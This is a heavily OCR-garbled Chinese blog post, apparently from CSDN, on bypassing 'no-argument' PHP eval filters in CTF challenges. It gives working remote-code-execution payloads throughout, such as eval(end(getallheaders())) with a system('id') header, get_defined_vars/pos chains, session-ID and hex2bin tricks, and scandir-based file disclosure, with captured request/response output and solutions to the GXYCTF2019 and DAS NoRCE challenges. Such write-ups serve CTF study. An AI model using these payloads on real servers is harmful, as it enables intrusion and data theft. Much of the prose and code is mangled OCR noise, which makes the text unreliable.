£ B S BR BT @ AT

FEMA TF 2022-01-17 19:18:42 KA 1065 R,
NERE: ®E NgEsL ER%4E BiFE IR
WAL FE B . A SCOATE R R A SCE, @ﬁﬁmwmmx, HRIE M LR SCH A B E
AHEFE: https://blog.csdn.net/kali_Mal/article/details/122544274

highlight_file(__FILE_);
if(';' === preg_replace(/[\WI+\((?R)?\)/", ", $_GET['code'])) {
eval($_GET['code’]);

?>

Ky

preg_replace('/[AW]+\((?R)?\)/", ", $_GET['code'])

X B Fpregreplace B # UL L Z/H) F 172, WILEDF 4, $FF F41%, F00T [A-Za-20-9], RJE(PR)?IXANRENEITE
AMCEERER . FTCLIENE S SURRIL I LS B R4, WEA UERREMRKER (ESHRED , KILENBERAZ, AW
FTHRERA,

PA_EIERERER R ILEta(b(c()Sa()x Fiig R, AILEa(123"), WL RRIMIENNERBARTEESH, MURNEFHTE
SR IR BT SO IR a2 AT .

AW K KM R B 3

HRBAE:

getchwd() : ERBUR B2 HT TIE H 3.

scandir() : ERFUREITE & B R SR E RREA .
dirname() : HRFUR [F A EH RS .

chdir() : BREEELRTHE 3.

B AH R B BRAE

end() - KA EREERABATHRE—NTR, HEH.
next() - ¥ W EIREHERBAF N T - R, HEd.

prev() - ¥ N feer e mBAF I E— R, HEH.
reset() - ¥ IGEHR R BAFHE TR, .
each() - R B 48 T & 4 FEE, F-¥ A ERIRE AT S .
array_shift() - BIBREAH S E—A o R, FHR BT ERE.


https://blog.csdn.net/kali_Ma
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25B8%2597%25E9%2580%258F%25E6%25B5%258B%25E8%25AF%2595&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8%25E6%25BC%258F%25E6%25B4%259E&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/kali_Ma/article/details/122544274

B

show_source() - X AT B R R BN
readfile() - % — AN .

highlight_file() - %t U T IBE R R BN
file_get_contents() - AN —ANFRFE H.
readgZfile() - 7] TR EIE gzip #& =S

|

[—>HA BEEEKRN<—]
BYHE (HEP
AR N
10043 src3Ch
W22 A TH AR
CtERFEZ H H fi
£ETHE
LM 2B 1

W) £ 22 4 2 3] B 28

0 N O g b~ W N =
7 4. 77 I T s

getenv()

getenv() : FREGAEBEHEFTEPHP7AZ G UAA FSE)
EHT: php7ll ERISRA

?code=var_dump(getenv());

php7.0LA T i& [Elbool(false)
& C A =L | .00 i imoco1/1.php?code=var dump(getenv());
<Tphp
highlight_file(_ FILE_ )
if’;" === preg_replaceC /[TWIH(GFRITYS, 77, 3.GET[ code’ 100 1
eval (3_GET[ code’ 1) ;
1
P

bool(false)


https://shimo.im/docs/C9WxVrD6V3tGcjgQ/

php7.0 LA _EIE % B &

Go ance v || >

Request

Jﬁ‘ Params THemem ] Hex |

Target:

Response

Accep

n mage/webp, ¥ /¥,
. en-US:g=0. 3, en; q=0.2

e: _ga=GAL 1. 15921

ol . bdshare_firstime=1616
Upgrade-T

cure-Raques
¢ docume:
! navigate

ump(getenv(phpinfo())

T

string(1346) "C:\Program Files\Common Files\Siemens\Autemation\Simatic OAM\bin.C:\P1
{x86) \Common
Files\Oracle\Java' javapath;C:\ProgramData\Oracle'\Java\ javapath;C: \Windows\system32,C:"
ows\System32\Fbem; C: \Windows\Sys tem32\NindowsPowerShell w1l 0\ C: \Windows\System32\Oper

Files {x86)\NVIDIA Corporation\PhysX\Common;C:\Program

Filos\Java\jdk1. 8. 0_144\bin;C:\Users\admin\AppData\Local \Programs\Python\Python27;C:\l
ata\Local \Programs\Python\Python2T\Seripts . D: \PHF\phpS tudy\PHPTutorial \php\php-5. 6. 27
min\Applata\Local \Programs\Python\Python38-32,C: \Users\admin\AppData\Local \Programs\Py
2\Scripts;C:\Program Files (x86)\Windows Kits\8. 1\Windows Performance
Toolkith; D:\PHP\phpS tudy \PHFTutorial \MySOL\bin; C : \Program
Files\node js\;D:\Code\Gi t \cmd; C - \Users\admin\AppDa ta\Local \Programs\Python\Python38\pm
emourl -7, 77, 0-winb4-mi ngw\bin; D:\CTF\SSH\Xshell 7%;D:\CTFASSH\Xftp 7%, D:\CTH
\CTFASSH\PUTTY\; D: \CTF\VEB\neteat-wind2-1. 12\nc. exe; ; D:\Code\WXapp\ web
adumin\AppData\Local \Programs\Python\Python38\Scripts\:C: \Users\admin\AppData'
Python\Python38h ; C :\Users\admin\AppDataiLocal \Nicresof t \WindowsApps ; C : \Users\admin\Ap;

o e e o e L ol e e

[ SYSTEMROOT"1=>
string{10) “C:\Windows"

[“COMSPEC”

string(27) “C:\Windows\systemd2\cnd. exe”

[“PATHEXT " ]=>

string(53) ”.COM:.EXE:.BAT;.CND:.VBS:. VBE:. JS;. JSE;. NSF.. WSH;. NSC"

[“WINDIR"]=>

string(10) "C:\Windews"

["PHP_FCGI_NAX_REQUESTS"]=>

string(4) ~10007

["PHPRC™]=>

string(46) “D:/PHP/phpStudy/PHFTutorial /php/php-7. 2. 1-nts/"
[*_FCGI_SHUTDONN_EVENT _“]=>

string(4) "2108"

phpinfo()r] ASRER T B R AR &

Go ance ('J)'

Request

Raw | Params | Headers | Hex

Response

Target: http://47.119.122.

FRaw Heaoers]He'x HTML | Render

1), HITB/L 1

GET /1. phofcode=var_dump (getenv (phpintol)
Host: =419 AEd-ened
User-Agent: Mozilla/5. 0 (Nindows NT 10.0, VinB4, x64 5.0) Gecko/20100101 Firefox/95.0
Accept: text/html, application/shtml +xml, application/xml 9, image/avif, image / wabp, */#,
Accept-Language: zhCN, zh,q=0. 8 T q=0.7, zh-EH q=0. 5, en-U3 g
Accept-Encoding: gzip, deflate

Connection: close

Upgrads-Insecure-Requests: 1

getallheaders()

PHP Version 5.5.9-1ubuntu4.14

System Liruax e 36011 B9 415 0-1 35-generic #135-Uburtu SMP Mon Jon 18 17:38:24 UTC 2021 x86_E4

Build Date. Oct 28 2015 01:34.23
Server APL Apachs 2 0 Handler

Virtual sabled
Directary
Support

Fllg (phpani)
Path

Configuration
File




getallheaders(): FKEUFTAE HTTP iERkirk, Rapache request_headers()HI %4 ¥, 1B2i%E K R GE7EApache¥F 55 T 18 H
t£ N ?2code=print_r(getallheaders());, #¥i4Hi& B HTTP i3k k

Go ancel | [ <[ | >

Request

Raw | Params | Headers Im

GET /1. phpPcode=print_r(getallheaders ()}, HITP/L 1

T

(et
- - lubimtod, 14

r Sohighlight_file<,
e="color: #0

[t Enl

[Host] => «.. (05, [HLUGSTOWLL

[User-Agent] =» Mozilla/B. 0 (Windows NT 10.0;|Win€.

[hceept] => text/html, application/shtml +xml, o ]
[Accept-Language]l => zh-CN, zh;g=0. 8, zh-TW; q=0{ 7, zh
[Accept-Encoding] => gzip, deflate
[Commection] = close
[Upgrade-Insecure—Requests] => 1

Payload1

i fend¥s &G —MERL, HHAE#Trce

GET /1.php?code=eval(end(getallheaders())); HTTP/1.1

lag: system('id');

e end(): KEARI N IR ARE — M HRIT

Response

Reques
J Raw | Params. T Headers ] Hex | Raw | Headers “'Hex |
1), HITR/L 1 A

allhsadsrs

"
¢ Nozilla/s, i WinB4; xb4; rv:i99.0) Gecko/20100101 Firefox/95.0
: text/html, app application/mmi; q=0. 8, image/avif, image/webp, #/% q=0. 8
\ccept-Language 0.7, zh-HK: a=0. 5, en-US5: =0, 3, en: =0, 2 : Accept-Encoding
‘ecept-Encoding Content-Length: 1096
lormection! close Comection! close |

Content-Typ=: 1=

Jpgrade-Insecure-Reque
gth: 2

&f 11 d=33 (www-data) gid=33{www-data) groups=33{www-data)

Payload2

.payloadi& F Fphp7 LA LR A

GET /1.php?exp=eval(end(apache_request_headers())); HTTP/1.1

lag: system('id");

get_defined_vars()



Payload1

?code=eval(end(current(get_defined_vars())));&flag=system('ls');

FH 42 REE#RCE

get_defined_vars(): &REHTH CE XEBTARMEA, <RE
OOKIE, _FILESZRZERE, REIZHN T Aget->post->cookie- >files
current(): iE BB SATATT, PIHETEFIHE A IR S — AT, 4

Go | Cance l( v > v

Request Respo
| Ram | Params | Headers | Hex Raw
SET f“pl]ur_r_de—ﬂ al (end(current (get_defined vars()))) &flag=system( 15 ' HITP/1.1 i HITF/1.
. r

fost: <., oo oo uw2iBOEL Date: 5
Jser-Agent: Mozilla/5.0 (Windows NT 10.0, Vinf4, x64, rv:95.0) Gecl.w.u"_'UIBUlU'. Firefox/95.0 Server:
\ccept: text/hrml, application/shtml+xml, application/xml;q=0, 9, image/avif, igge/webp, */%;q=0. § X-Power:
tccept-Language: zh-CH, zh,q=0. 8, zh-TW, g=0. 7, zh-HK, g=0. 5, en-U5; g=0. 3, en, g=0. Z Vary: A«
\ccept-Encoding: gzip, deflate Content-
Jormection: close Connecti
Jperade-Tnsecure-Requests: 1 Content-

“span 51
style="¢
#0000
#0000RR’
000000
~I'JJ|‘l‘ll‘l

n—UL'LB
style="y
</span>
feode?
2. php

LICENSE
README.
index.

logo. pr
e bt

_POST,

< | 1 F

Payload2



?flag=phpinfo();&code=print_r(get_defined_vars());
¥ 4iRE 4 REERE, get. post. cookie. file$#E,

| ©o Cancel || <[v | >|v

Request Response

Raw | Params | Headers | Hex | [ Raw | Headers “Hex |
GET /1. php?flag=phpinfo () ;&code=print_r{getl_defined vars()) HITF/1.1
Host: 4., L
User-tgent: Wozilia/a. 0 (Windows NI 10.0, WinB4, =64,
o otext/html, application/shtml +xel, application/
Accept-Language: zh-CN, zh;q=0. 8, zh-T¥;q=0. 7, zh-HK;
hecept-Encoding: gzip, deflate
Comnection: close

Content-Type: text/html

-

0) Gecko/20100101 Firefox/95.0
ml; q=0. 9, image/avif, image/wabp, #/% g=0. 8
5, en-US;q=0. 3, en;q=0. 2

;" &nbsp; </span’<span style= coler:
:0-:|c055" preg_replace [span><span style="calor
#D00000" f r \W]+\( ('3R)'?\)f

span style:

o, Gnbsp; < /ep

an><span stvle="eol

/span><span style=" : #DD0000 > code’ </span><spm

2007700 ]))rmbsp [G.nhsp Enbsp; &nbsp; Enbsp; (br ”‘&nbsp &nbsp: Enbsp; &nbs
T : "

<span style="caler

Upgrade-Insecire-Requests: 1

1 sl’le— “color: #0000
</span»
JfcodeArray
(
[_GET] => Array
¢
[flag] =» phpinfa():
Tcode] =5 print_rlget_defined vars());
)

[_POST] => Array
)

[_COOKIE] => Array
)

[_FILES] => Mrray

(
i)

flag=>phpinfo(); 7E_GETHEHH, Fr A7 E M M IR B (E
posE —IREUE

s(get_defined_vars())

Target
Request Response
JRE'T Params [ Headers [ Hex ]

ET /1. php?flag=phpinfo () ;kcode=print_x(po
Host: -...3081

Pser-Agent: Mozilla/5.0 (Windows NT 10.0; Vinf4; x64; rv
ceept: text/html, application/shtml+;
ceept-Language: zh-Cll, zh;q=0. 8, zh-
ceept-Encoding: gzip, deflate
ornection: close
perade-Insecure-Requests:

| Raw | eacers | ex |
HITP/1.1 200 OK
Date: Sun, 09 Jan 2022 07:58:55 GNT
Server: Apache/Z.4. 7 (Ubuntu)
X-Powered-By: PHP/S. 5. 0-lubuntud. 14
: Accept—Encoding
Content-Length: 1125

Connection: close
1 Content-Type: texi/html

get_defined_vars())); HITP/1. 1

T

. 0) Gecko/20100101 Firefox/95.0
1,app]ication.f xml ; g=0. 9, mage/ favif, image/wsbp, #/*,; q=0. &
a=0. 7, zh-HE q=0. 5, en-US, q=0. 3, en; 9=0. 2

="calor: 'IEOOJL"'
' 'EOUJBB &1t; ?php<br /highlight_file</span>{span st
0BE">__FILE__</span><span stvl )

an style="color:
span styl

“preg_replace/spa
WARUENCC AV
2DD0000">" " ¢/ span>{span style="calor:
style="celor: £0077007>[</spani<span sty
£0077007>1) ) &nbsp; {&nb:ap &nbsp; &nbsp, &nbsp; <br /fnbsp; knbsp; &nbsp, &nbsp; eval |
40000BB">$_GET</: or: #0077007> [</span> ar .-LDOJL(
style="color: Jspan><span style= ar: -EOUuBB Phgt; br

2001
" code” {/span>{span style:

span style="color

=paT

<[eode>Array
{

[flag) => phpinfo():
[code] => print_r(pos{get_defined vars{})};

pos#E IR EUE

?flag=phpinfo();&code=print_r(pos(pos(get_defined_vars())));



| o || cancel {<v] S|

Request Response

Raw | Params HeaderslHeu Raw HeaderslHexI
GET /1. php?flag=phpinfo() ;&code=print_r (pos(pos(get_defined_vars()))) ;| HITP/1. 1 H HITP/1.1 200 OK
Host: & ishiesaiedieiemii Date: Sun, 09 Jan 2022 07:59:40 GNT
User-Agent: Mozilla/5.0 (Vindows NT 10.0; ¥inf4: x64 1rv:95.0) Gecko/20100101 Firefox/95.0 Server: Apache/2.4.7 (Ubuntu)
Accept: text/html, application/xhtml+zml, application/zml; q=0.9, image/avif, image/webp, */*,q=0, 8 X-Powered-By: PHP/5. 5. 9-lubuntud. 14
Accept-Language: zh-Cl, zh; g=0. 8, zh-TW, g=0. 7, zh-HK  g=0. 5, en-US; g=0. 3, en; q=0. 2 Vary: Accept-Encoding
Aceept-Encoding: gzip, deflate Content-Length: 1052
Comnection: close Comnection: close
Upgrade-Insecure-Requests: 1 Content=Type: text/html

<code><{span style="color: #000000">
<span style="color: #0000BE">&1t: P?php<br /*highligl
style="color: #0000BB">__FILE__ </span><span style="t
£DD0000">" ;" &mbsp; </span><span style="color: #00770(
#0000BB">preg_replace(/span><span style="color:
#DD0000™>" /L \WI+\({?R) ?\) /" </span><span style="co
#DDO000">" * </span><span style="color: #007700">, &nbs
style="color: #007700">[</span><span style="color: #
2007700721 Yénbsp; {&nbsp; &nbsp; &nbsp; &nbsp; <br /
#0000BB”>$_GET</span><span style="color: #007700"> [«
style="color: #007700">1);:<br />}<br /></span><span
span”
</ phpinfo();

$147 phpinfo()

?flag=phpinfo();&code=eval(pos(pos(get_defined_vars())));

Go Cancel || < |¥ 2| Target: hitpi//47.1

Request Response

[on s [ e e [ s e [ )

GET /1. php?flag=phpinfo () ;keode=eval (pos(pos(get_defined vars()))); HITF/1.1

e

Accept: text/htmd, application/shtml+xml, application/xnl; q=0. 9, image/avif, image/webp, #/+, g=0.8
Accept-Language: zh-CH, zh, g=0. 8, zh-T¥,q=0. 7, zh-HK, ¢=0. 5, en-US;q=0. 3, en; g=0. 2

Accept—Encoding: gzip, deflate

Comection: close

Upgrade-Insecure-Regquestis: 1

Host: 4.. FUTNIIDNENINY.
User-Agent: Nozilla/5.0 (Vindows NT 10.0, Win64. x64; rv:95 0) Gecko/20100101 Firefox/95.0 h

PHP Version 5.5.9-1ubuntu4.14

System Linux be 38071 c66k 4.15.0-135-ganeric #139-Ubuntu SIAP Mon Jan 18 17:38:24 UTC 2021 %86 64
Build Date: Oct 26 2015 01:34:23

Server AP Apache 2.0 Hander

r— J—

EB S HAT

?flag=system('id');&code=eval(pos(pos(get_defined_vars())));

Go Cancel <|v >|r

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /1.php?tlag=system( id );&code=eval (pos(pos(get_defined_vars()))) | HITE/1.1 i HITF/1.1 200 OK

Host: 4.. . S, P Date: Sun, 09 Jan 2022 08:01:31 GNT
User-Agent: Mozilla/5.0 (Vindows . 0; Wind4; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Server: Apache/2. 4.7 (Ubuntu)
Accept: text/html, application/xhtml+xml, lication/xml;q=0.9, image/avif, image/webp, */* q=0. 8 X-Powered-By: PHFP/5. 5. 9-lubuntud. 14
Accept-Language: zh-CN, zh;q=0. 8, zh-TW;q=0. 7 :q=0.5, en-US; q=0. 3, en; g=0. 2 Vary: Accept-Encoding

Accept-Encoding: gzip, deflate
Commection: close
Upgrade-Insecure-Requests: 1

Content-Length: 1096
Comnection: close
Content-Type: text/html

<code><{span style="color: #000000">
<span style="color: #0000BB”>&1t;php<br />highlight_file</span><{span st
style="color: #0000BB”>__FILE_ </span><span style="color: #007700">);<br /
ZDD0000">" ;" &nbsp; </span><span style="color: 2007700 =8nbsp; </span><sp
#0000BR">preg_replace</span><span style="color: #007700">(¢/span><span st
ZDD00007>" /L AWI+\ ((FR) ?\) /* </span><span style="color: #007700">, &nbsp; <
#DD0000">" " </span><span style="color: #007T00”>, &nbsp; </span>{span style="
style="color: #007700">[</span><span style="color: #DD0000”>" code’ </span><
| #007700">1))&mbsp; {&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp; énbsp; &mbsp; &
#0000BB">$_GET</span><span style="color: #007700">[</span><span style="col:
le="color: #007700”>1);<br /»}<br /></span><span style="color: ¥0000BB"

</codePuid=33 (www-data) gid=33{www-data) groups=33{www-data)



https://xzfile.aliyuncs.com/media/upload/picture/20220109194209-2db2b588-7141-1.png

Payload3

17 40 3
ET_POST, QO K IE# I8, HEA] Reg\_FILESAFT, fileftHERE—1, &

(L k

import requests
iles = {
"system('whoami');":

Hdata = {

#"code":
..
r = requests.post('http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)

eval(pos(pos(end(get_defined_vars()))));"

print(r.content.decode("utf-8", "ignore"))

session_start()

ERHT: php7 A F IR A
e session_start(): EEIFHSEBRE EAINE 1E, RIFELEIRE TRUE , R2ZIR[E FALSE,R [FZ4$i4session id()
e session_id(): FREVEE 4FI<1E D, BRESFHSED. WRLAAEESE, MWEREZFZRFE ) .

A

e show_source(session_id(session_start()));

e var_dump(file_get_contents(session_id(session_start())))
e highlight_file(session_id(session_start()));

o readfile(session_id(session_start()));

a5 N Cookie: PHPSESSID=(#81E {3 {4) BI A]

GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=/flag

Response
Raw | Headers :Hex XML \I
) |HTTR/1.1 H HITP/1.1 200 0K
Date: Cu; (] 022 08:21:06 GNT
A T (Ubuntu)
v:95. 0) Gecko/20100101 Firefox/95.0 X ed-By: PHP/B. 5. 9-lubuntud. 14

Accept: text/ \tmL application atml +xml, application l_ ,image/avif, image/webp, /% q=0. 8 xpirs 19 Now 1931 08:52:00 GHNT
Accept-Language: zh=CI, zh; q=0. 8, Z=T¥: a=0. 7, zh-HE: a=0. 5, en-US; q=0. 3, en; a=0. 2 no-cache, must-revalidate, p
Aecept-Fncoding: gzip, deflate
Connection cept- E,"l"'C.].])Q
Upgrade-Insecure Requests_ 1 Content-Length: 1126

Cotnection: close

Content-Type: text/html

span style="colar: 0000007

FO000BE" &1t ; Tphp<br /highligh
_ FILE_ </=p "
/span><sp

an st

i

‘flﬂ.g {no_nara ree_test ﬂﬂ.g} 1|.
Toode

2
4
=
4i



“*hex2bin()** B BT LUK 7S BEHI B HOAASCI 745, BT ABRATIAE A 75 BE i 34 F hex@bin() B AT

JefE Aeval(hex2bin(session_id(session_start())));, %25 #E4& A Cookie: PHPSESSID=("system(‘#ir4")" i1+ 75 2k il ) Bl 7]

GET /1.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1

Cookie: PHPSESSID=706870696e666f28293b

8] & BR.Th

| G | Target: hitp://47.119.122.2¢
Request Response

JR&W] Params IHeauers IHe)( | Raw l Headers [Hex | HrmaL .‘—Renderw

id(session_start()))): HITP/1, 1 = l
B JO5. 0
ml , aj i

0100101 Fir 3
f, i fwebp, #/% q=0. 8

PHP Version 5.5.9-1ubuntu4.14

|s,-4=m ”Lirl.m 130071 <88k 4.15 0-135-generic #138-Uburtu SMP Men Jan 18 17:38:34 LTC 2021 «88_64 |

|m|u Date ”ndzﬁqmsm ETE] I

scandir()
SCAFEEEL
BEELE A F A4

print_r(scandir(current(localeconv())));
e H S ET B 30
LT B SR — L

show_source(end(scandir(getcwd())));

show_source(current(array_reverse(scandir(getcwd()))));

A E AR HEE AL

show_source(next(array_reverse(scandir(getcwd()))));

BELIE 8] 24 1 B Fe 30

highlight_file(array_rand(array_flip(scandir(getcwd()))));

show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

BEE-FBAFRHA

B E% H XX

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))));




payload @R :

e array_flip(): ZZHBAFHIRAME, I IR BTG RIHA, R RBURE NULL.

e array_rand(): MEAHFBEYLEE —MERE AT, R REBH—ANERIAR1), array_rand() REIEHLETCHESL . BUHIER
S FENLSR A I BH . SERUE, BRI CAARGE BE AL S SR B i BE LR

e array_flip()flarray_rand()Et &1 F T REALIR Bl 2450 H 3% T B4

e dirname(chdir(dirname()))ft& ¥ #3024 B 42

AEMEIR B 304
iR F B S A LER, FEZHKILK
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

fHXCTFEE
[GXYCTF2019)4 it % &

indexy&ig

<?php
include "flag.php";
echo "flag7EMR e ? <br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/V[filter:\/V|php:\\V|phar:\\V/i', $_GET['exp'])) {
if(";' === preg_replace('/[a-z,_]+\((?R)?\)/", NULL, $ GET['exp'])) {
if (!preg_match('/et|nalinfo|dec|bin|hex|oct|pillog/i', $_GET['exp'])) {
/I echo $_GET['exp'];
@eval($_GET['exp');
}
else{
die("EE—KHR! ");

die("it48iLflag, RFEH! ");
}

/ highlight_file(__FILE_);
7>

T — T KRB I AT AR

if (!preg_match('/data:\/V[filter:\/V/[php:\\V|phar:\\V/i', $_GET['exp'])) {
if(";' === preg_replace('/[a-z,_]+\((?R)?\)/", NULL, $_GET['exp'])) {

if (!preg_match('/et|nalinfoldec|bin|hexjoct|pillog/i', $_GET['exp')) {
/l echo $_GET['exp'];
@eval($_GET['exp']);




1. REUGETHEREN—NL NexplISH. WHERHEZMFSPITEX M expS N

2. H—if preg_matchid € T th il

3. =ANif preg_replace PRl BA 1L H 3R K 6 b 4 /NS F R R B, T B RIEH S5
4., F=Aifpreg_matchikE U PGS € T binjhex3F X8 .

5. @eval($_GET['exp’]);4TgettE N Kexp.

TS HRCE

JriE—: FHscandir()& %

1. BFERTHXH

?exp=print_r(scandir(current(localeconv())));

HArray ([0] =>. [1] => .. [2] => .git [3] => flag.php [4] => index.php )

2. @it array_reverse HEAT I $A

=print_r(array_reverse(scandir(current(localeconv()))));
( [0] => index.php [1] => flag.php [2] => .git [3] => .. [4] =>.)

4. highlight_file()& $ti Bt flag
% payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

getflag

< & A 1% | 5acd013a-7969-4c5f-a0c6-39834b6c12a9.noded.buuoj.cn:81/?exp=highlight file(next(array reverse(scandir(current(localeconv())))));

T~

flagTERBEENR?

<Tphp

$flag = "flag(74a£4388-2b17-43c2-bb4b-22d722212503] "
T

FiE—: F|Hsession_start()E %

?exp=show_source(session_id(session_start())); HTTP/1.1

Cookie: PHPSESSID=flag.php



flag

Go <|v| Target: http://5acd013a-7969-4c5f-al
Request 4
Raw | Params [ Headers I Hex | Raw | Headers [ Hex |
GET /7exp=sh rca id _start())); HITP/1.1 L HITP/1.1 200 OK
9834b6c 1229, noded. buuoj. en:81 openresty
C 09 Jan 2022 09:01:44 GNT
U 111a/5. 0 (Tindows-HT _10.0, 0) Gecko/20100101 Firefox/95.0 xt/html; charset=UTF-8
Accep html, application/zhtml mmection: close

. 9, image/avif, image/webp, */*;q=0. 8
Tt =0. 2

zh~-CN, zh, = S

ip, deflate

Accept-Languag
Accept-Encodi
Comnectien:
Upgrade-Insecuy

K-Powered-By:
Content-Length:

HP/5. 6. 40

Requests: 1 a g 77 W TEL IR pan style="color: #0000007>
BB :&1t; php<br />§flagknbsp
lag {74a£4388-2b17-43

© EOODOBR">7&gt ;

[DAS]NoRCE

<?php
highlight_file(_ FILE__
Sexp = $_GET['exp'];
preg_replace('/[AW]+\((?R)?\)/", "', $exp)) {
if(!preg_match("/o|v|b|print|var|timelfile|sqrt|path|dirjexp|pilan|nalen|ex|et|naldec|truelfalse|[0-9]/i", $exp)){
eval($exp);
}else{
exit("NoNoNo,U R Hacker~
}
telse{
exit("What's this?"

7>

T SHRCE

ST —HE, FlFapache request_headers()E %, #Ephp7 A FIRAEE EIHIY.
Payload: ?exp=apache_request_headers();

A
-

Go

s :
_[Ranq Params | Headers | Hex |

peapache_Tequast_

T

1.0.2j mod_fc

charset=1TF-8

apan St z

") Yenbsp; (or
i B

V" preg_mato

n st olor:
007230 {<br /olnbsp : &nb
* $e}f|: /spans.s L= {
&nbsp ; &nbsp; dnbsp; &nbsp; &nbsp ; &nbsp

0000 " NeNala, Uknbep ; REnbep ; Hacker
;&nbsp; fnbsp; &nbsp; ) /i) elsze(
“What" slnbsp; th vrospan
o TREL;

- &nbsp; dnbsp; exi
¥:<by /7Y <y




pos current pop#R L€ T, BH A array_shift()& Ha] UL

array_shift() - BIER AT HE—ATTR, HEEBMERTEKIE.
i B #echo. print_r. var_ dumptB#EHEEIE T, exit()EE I B4 die() B %
die() BB — &M E, R LATHA.

Payload: ?exp=die(array_shift(apache_request_headers()));

B 2 R Zh

| Go l. Cancel |{|‘I| -2

Request

_@pmansl'usaﬂers]'Hm]

Response

| Raw ] Heasers [ v |

GET /no.phptesp=dielarray_shift (apachs request headers(})); HITE/L. 1

Host: 127.0.041

User-Agent: Mazilla/5, 0 (Vindows NT 10,0, Vingd; x64; rv:95 00 Gecko /20100101 Firefex/95. 0
hecept: text/himl, application/shiml+uml, application/wml; q=0.9, image/avif, image/webp, * /% q=0.2
Accept-Languagk: zh-CH, zh: =0, 8, zh-TW; o=0. 7, sh-HE q=0. 5, en-US; =0, 3, e =00 2

Lccept-Eocoding: gzip, deflate

Connection: cldee

Cockis: _ga=GALR 1 1592130974 1616653076, bdshare firstime=1615623211943
Upgrade-Insecur§-Requests: 1

See-Teteh-lest : focument

Sec-Fetch-Node: Ravigate

Sec-Fetch-Site:
Sec-Fetch-lUser:
Content-Length: 0

T

HITPAL. 1 200 OK

Date: Sun, 08 Jan 2022 OT:36:14 GUT
Server: Apache/Z, 4, 23 (Fin3Z) OpenS3LS1.0
X-Powered-Ev: FHP/T.2.1

Commection: close

Content-Type: textfhiml ; charset=1TF-3
Content-Length: 2146

<coder<span style="color: FOOO000™>

<gpan style="celor: #O000RR™ &1t ; Tphpbr
styles“color: #0000BB">__FILE_ </spenr(s
#0000BR " $explnbsp: </span?ispan style="t
#O0D0BR™>$_GET</span<span style="color:
style="color: #0077007:];<br [></span>(sy
[r4fepani<span styvle="color: #00TT00 21 €1
style="color: #00TT00™>===8nbsp; </span><
#0OTTA0"> (< /apan><span style="color; #DDC
F00TT00" 2, &nbsp; </spanr<span styl
style="color: #0000ER™§exp</span
[ofnbsp  Enbsp  Enbsp Bnbsp 00!
#00T700"> (< /apan><span style="color
FD00000"" fo v [b lprint |var | time | fils]:
panrispan style="color: #0077007, &nbsp;
F00770070 00 (e [/ Enbep ; Enbep ; Enbep ;o
#0QO0BB "> $exp/span><span style="color: :
S nbsp ; fnbsp ; Bnbsp ; &nbsp ; &nbsp ; &nbsp
#0000 NeNeNe, Ignbsp , REbnbsp, Hacker
/nbep; &nbep; Bnbep; knbsp; ) <br /) els
FD0O0007: " W¥hat' sénbsp: this?™</span?<sp:
#OODOBB™ > 98et : <br /< spany

<fapans

<fcoderibr />

“brWoticed/br:  Only variables should




HEX—MERk, REAMEPITHHS, wflag: whoami,
Payload: ?exp=system(array_shift(apache_request_headers()));
TENHR T

Request

ﬁl’m Headers | Hex

Response

Headers | Hex

CET /no.phpPesp=die (array_shiftlapache_recuest_headers()))- HITP/1.1 2 HTTR/1.1 200 OK

Host: 127.0.0.1 ™ Date! Sun, 09 Jan 2022 07:37:33 GUT

User-Agent: Mozilla/5H0 (Windows NI 10,0, ¥inGd;, x64; rv:95 0) Geclko/20100101 Firefox /95,0 Server: Apache/C. 4. 23 (Win32) OpenSSL/1.0. 25 mo

Aeocept: text/html, application/shiml+xml, application/zml; q=0. 9, image/avif, image/webp, # /4 q=0. & X-Powered-By: PHP/7.2.1

Accept-Language: zh-CN, zh; g=8, 8, zh-T¥. g=0. 7, zh-}E; g=0. 5, en-US,;g=0. 3, en;g=0. 2 Cormection: close

Accept-Encoding: gzip, deflate Content-Type: text/html. charset=UTF-8

Comnection: close Content-Length: 2151

Cockie: _ga=GAl. 1. 1592130974 1616653 ; bdshare_firstime=1616G53211043

Upgrade-Insecure-Requests: 1 {coderispan stvle="color: #000000">

Sec-Fetch-Dest: document span style="color: #0000BB™ &1t ; Pphpibr /hig

Sec-Fetch-Node: navigate gtyle="color: #0000BE™>_ FILE_ </spani<span st

Sec-Fetch-5ite! nons £0000BE" > $explnbsp; </span>{span style="color:

Sec-Fetch-User: 71 HOOO0BB " »§_GET</spanr<span style="color: #0077

ffji:j—l-_iffff: f style="ecolar: #O077007:];<hr f»</span<span sty

flag: whoam /3¢ /span¥<{span style="color: #007700"3if {{/=spa
style="coler: #007700" ===fnbsp; </span’<span =
#007700" > (</apan><span style="color: #DDOOOO":"

| E0OTTO0">, &nbsp; </span><span style="color: #DD

style="color: #0000BE">§exp!/span><span style='
/7Enbsp ;&nbsp ; fnbsp; gnbsp; i f (! /span><apan
#007700" > (< /span*<span style="color:
2000000" " o |v |b|print |var [time [file |sqrt|r
